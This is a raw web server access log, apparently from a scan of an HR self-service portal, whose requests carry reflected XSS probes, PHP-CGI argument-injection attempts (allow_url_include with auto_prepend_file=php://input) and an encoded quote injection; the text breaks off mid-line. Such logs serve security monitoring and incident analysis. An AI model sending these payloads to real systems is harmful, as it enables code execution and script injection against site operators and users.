"http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php/%3cimg%20src%3d%22javascript%3aalert%2846%29%22%3e?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+File+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Efindpasswd%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:51 +0800] "GET /ehr/ess/ess HTTP/1.1" 404 209 100.64.0.1 - - [05/Dec/2025:21:50:50 +0800] "GET /eHR/ess/index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//../js/flash_detect_min.js HTTP/1.1" 200 9008 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:50 +0800] "GET /eHR/ess/index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//../js/flash_detect_min.js HTTP/1.1" 200 9008 100.64.0.1 - - [05/Dec/2025:21:50:51 +0800] "GET /ehr/ess/ess HTTP/1.1" 404 209 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php/%3cimg%20src%3d%22javascript%3aalert%2846%29%22%3e?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+File+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Efindpasswd%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:51 +0800] "GET /ehr/ess/ess HTTP/1.1" 404 209 100.64.0.1 - - [05/Dec/2025:21:50:49 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS&AppScan=%3E%22%3E%3Cscript%3Ealert%2851%29%3C%2Fscript%3E HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:49 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS&AppScan=%3E%22%3E%3Cscript%3Ealert%2851%29%3C%2Fscript%3E HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:50:50 +0800] "GET /eHR/ess/index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//../js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 200 9008 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:50 +0800] "GET /eHR/ess/index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//../js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 200 9008 100.64.0.1 - - [05/Dec/2025:21:50:51 +0800] "POST /ehr/ess/redirect.php/%22%3e%3cscript%3ealert%2854%29%3c%2fscript%3e?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 404 267 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:51 +0800] "POST /ehr/ess/redirect.php/%22%3e%3cscript%3ealert%2854%29%3c%2fscript%3e?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 404 267 100.64.0.1 - - [05/Dec/2025:21:50:50 +0800] "GET /ehr/ess/index.php/%3cimg%20src%3d%22javascript%3aalert%2853%29%22%3e?loginerror=Attack+error. HTTP/1.1" 200 1005 "http://hcp.maglayers.com.cn:8088/ehr/ess/includes/login.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:50 +0800] "GET /ehr/ess/index.php/%3cimg%20src%3d%22javascript%3aalert%2853%29%22%3e?loginerror=Attack+error. HTTP/1.1" 200 1005 100.64.0.1 - - [05/Dec/2025:21:50:50 +0800] "GET /eHR/ess/index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//../js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 200 9008 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:50 +0800] "GET /eHR/ess/index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//../js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 200 9008 100.64.0.1 - - [05/Dec/2025:21:50:51 +0800] "POST /ehr/ess/index.php/%22%3e%3cscript%3ealert%2856%29%3c%2fscript%3e?loginerror=Attack+error. HTTP/1.1" 404 264 "http://hcp.maglayers.com.cn:8088/ehr/ess/includes/login.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:51 +0800] "POST /ehr/ess/index.php/%22%3e%3cscript%3ealert%2856%29%3c%2fscript%3e?loginerror=Attack+error. HTTP/1.1" 404 264 100.64.0.1 - - [05/Dec/2025:21:50:50 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:50 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:50:50 +0800] "GET /eHR/ess/index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//../js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 200 8806 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:50 +0800] "GET /eHR/ess/index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//../js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 200 8806 100.64.0.1 - - [05/Dec/2025:21:50:50 +0800] "GET /ehr/ess/index.php?loginerror=Attack+error. HTTP/1.1" 200 9169 "http://hcp.maglayers.com.cn:8088/ehr/ess/includes/login.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:50 +0800] "GET /ehr/ess/index.php?loginerror=Attack+error. HTTP/1.1" 200 9169 100.64.0.1 - - [05/Dec/2025:21:50:50 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 "%c0%a7" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:50 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:50:50 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php?scriptname=%3E%22%27%3E%3Cscript%3Ealert%2850%29%3C%2Fscript%3E&msgtxt=%3E%22%27%3E%3Cscript%3Ealert%2850%29%3C%2Fscript%3E&target=%3E%22%27%3E%3Cscript%3Ealert%2850%29%3C%2Fscript%3E" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:50 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:50:51 +0800] "GET /ehr/ess/lostpassword.php/%3cimg%20src%3d%22javascript%3aalert%2849%29%22%3e?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 241 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php/%3cimg%20src%3d%22javascript%3aalert%2849%29%22%3e?scriptname=page_error&msgtxt=&target=iframe" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:51 +0800] "GET /ehr/ess/lostpassword.php/%3cimg%20src%3d%22javascript%3aalert%2849%29%22%3e?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 241 100.64.0.1 - - [05/Dec/2025:21:50:51 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:51 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:50:51 +0800] "POST /ehr/ess/redirect.php/%3cimg%20src%3d%22javascript%3aalert%2855%29%22%3e?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 302 228 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:51 +0800] "POST /ehr/ess/redirect.php/%3cimg%20src%3d%22javascript%3aalert%2855%29%22%3e?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 302 228 100.64.0.1 - - [05/Dec/2025:21:50:51 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:51 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:50:51 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "%c0%a7" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:51 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:50:51 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe&AppScan=%3E%22%3E%3Cscript%3Ealert%2858%29%3C%2Fscript%3E HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:51 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe&AppScan=%3E%22%3E%3Cscript%3Ealert%2858%29%3C%2Fscript%3E HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:50:51 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:51 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:50:52 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswdWFXSSProbe&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:52 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswdWFXSSProbe&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:50:52 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:52 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:50:52 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=AZHSB HTTP/1.1" 200 6677 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:52 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=AZHSB HTTP/1.1" 200 6677 100.64.0.1 - - [05/Dec/2025:21:50:52 +0800] "GET /ehr/ess/redirect.php/%3cimg%20src%3d%22javascript%3aalert%2855%29%22%3e?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+File+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Efindpasswd%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 116 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php/%3cimg%20src%3d%22javascript%3aalert%2855%29%22%3e?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:52 +0800] "GET /ehr/ess/redirect.php/%3cimg%20src%3d%22javascript%3aalert%2855%29%22%3e?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+File+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Efindpasswd%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 116 100.64.0.1 - - [05/Dec/2025:21:50:52 +0800] "POST /ehr/ess/index.php/%3cimg%20src%3d%22javascript%3aalert%2857%29%22%3e?loginerror=Attack+error. HTTP/1.1" 200 1005 "http://hcp.maglayers.com.cn:8088/ehr/ess/includes/login.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:52 +0800] "POST /ehr/ess/index.php/%3cimg%20src%3d%22javascript%3aalert%2857%29%22%3e?loginerror=Attack+error. HTTP/1.1" 200 1005 100.64.0.1 - - [05/Dec/2025:21:50:53 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 "-" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:53 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 100.64.0.1 - - [05/Dec/2025:21:50:52 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:52 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:50:54 +0800] "GET /ehr/ess/ess HTTP/1.1" 404 209 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php/%3cimg%20src%3d%22javascript%3aalert%2855%29%22%3e?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+File+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Efindpasswd%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:54 +0800] "GET /ehr/ess/ess HTTP/1.1" 404 209 100.64.0.1 - - [05/Dec/2025:21:50:54 +0800] "GET /ehr/ess/ess HTTP/1.1" 404 209 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php/%3cimg%20src%3d%22javascript%3aalert%2855%29%22%3e?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+File+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Efindpasswd%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:54 +0800] "GET /ehr/ess/ess HTTP/1.1" 404 209 100.64.0.1 - - [05/Dec/2025:21:50:53 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:53 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:50:54 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:54 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 100.64.0.1 - - [05/Dec/2025:21:50:54 +0800] "GET /ehr/img/login.swf HTTP/1.1" 200 2760 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:54 +0800] "GET /ehr/img/login.swf HTTP/1.1" 200 2760 100.64.0.1 - - [05/Dec/2025:21:50:53 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe&AppScan=%3E%22%3E%3Cscript%3Ealert%2858%29%3C%2Fscript%3E" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:53 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:50:54 +0800] "GET /ehr/img/nonexistingurl.swf HTTP/1.1" 404 224 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:54 +0800] "GET /ehr/img/nonexistingurl.swf HTTP/1.1" 404 224 100.64.0.1 - - [05/Dec/2025:21:50:54 +0800] "GET /ehr/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 200 88 "http://hcp.maglayers.com.cn:8088/ehr/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:54 +0800] "GET /ehr/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 200 88 100.64.0.1 - - [05/Dec/2025:21:50:54 +0800] "GET /eHR/ess/index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input HTTP/1.1" 200 8806 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:54 +0800] "GET /eHR/ess/index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input HTTP/1.1" 200 8806 100.64.0.1 - - [05/Dec/2025:21:50:54 +0800] "GET /ehr/ess/nonexistingurl.php HTTP/1.1" 404 224 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:54 +0800] "GET /ehr/ess/nonexistingurl.php HTTP/1.1" 404 224 100.64.0.1 - - [05/Dec/2025:21:50:54 +0800] "GET /ehr/css/jqueryui/themes/redmond/images/ui-bg_gloss-wave_55_5c9ccc_500x100.png HTTP/1.1" 200 3457 "http://hcp.maglayers.com.cn:8088/ehr/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:54 +0800] "GET /ehr/css/jqueryui/themes/redmond/images/ui-bg_gloss-wave_55_5c9ccc_500x100.png HTTP/1.1" 200 3457 100.64.0.1 - - [05/Dec/2025:21:50:53 +0800] "GET /ehr/ess/index.php?loginerror=Attack+error. HTTP/1.1" 200 9169 "http://hcp.maglayers.com.cn:8088/ehr/ess/includes/login.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:53 +0800] "GET /ehr/ess/index.php?loginerror=Attack+error. HTTP/1.1" 200 9169 100.64.0.1 - - [05/Dec/2025:21:50:54 +0800] "GET /ehr/img/title.png HTTP/1.1" 200 1205 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:54 +0800] "GET /ehr/img/title.png HTTP/1.1" 200 1205 100.64.0.1 - - [05/Dec/2025:21:50:54 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 "ablcprobepa000004ab" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:54 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 100.64.0.1 - - [05/Dec/2025:21:50:53 +0800] "GET /ehr/ess/index.php?loginerror=Attack+error.&AppScan=%3E%22%3E%3Cscript%3Ealert%2859%29%3C%2Fscript%3E HTTP/1.1" 200 9169 "http://hcp.maglayers.com.cn:8088/ehr/ess/includes/login.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:53 +0800] "GET /ehr/ess/index.php?loginerror=Attack+error.&AppScan=%3E%22%3E%3Cscript%3Ealert%2859%29%3C%2Fscript%3E HTTP/1.1" 200 9169 100.64.0.1 - - [05/Dec/2025:21:50:53 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:53 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:50:54 +0800] "GET /ehr/img/login.swf HTTP/1.1" 200 2760 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.phpablcprobepa000005ab" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:54 +0800] "GET /ehr/img/login.swf HTTP/1.1" 200 2760 100.64.0.1 - - [05/Dec/2025:21:50:55 +0800] "GET /ehr/img/login.swf HTTP/1.1" 200 2760 "ablcprobepa000005ab" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:55 +0800] "GET /ehr/img/login.swf HTTP/1.1" 200 2760 100.64.0.1 - - [05/Dec/2025:21:50:53 +0800] "GET /ehr/ess/redirect.php?scriptname=AfindpasswdB&action=findpasswd&lang=ZHS HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:53 +0800] "GET /ehr/ess/redirect.php?scriptname=AfindpasswdB&action=findpasswd&lang=ZHS HTTP/1.1" 302 - 100.64.0.1 - - [05/Dec/2025:21:50:55 +0800] "GET /ehr/img/login.swf HTTP/1.1" 200 2760 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php%22%27Aablcprobepa000005ab%27%22A" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:55 +0800] "GET /ehr/img/login.swf HTTP/1.1" 200 2760 100.64.0.1 - - [05/Dec/2025:21:50:55 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=AfindpasswdB&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:55 +0800] "GET /ehr/ess HTTP/1.1" 301 249 100.64.0.1 - - [05/Dec/2025:21:50:55 +0800] "GET /eHR/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 200 208229 "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:55 +0800] "GET 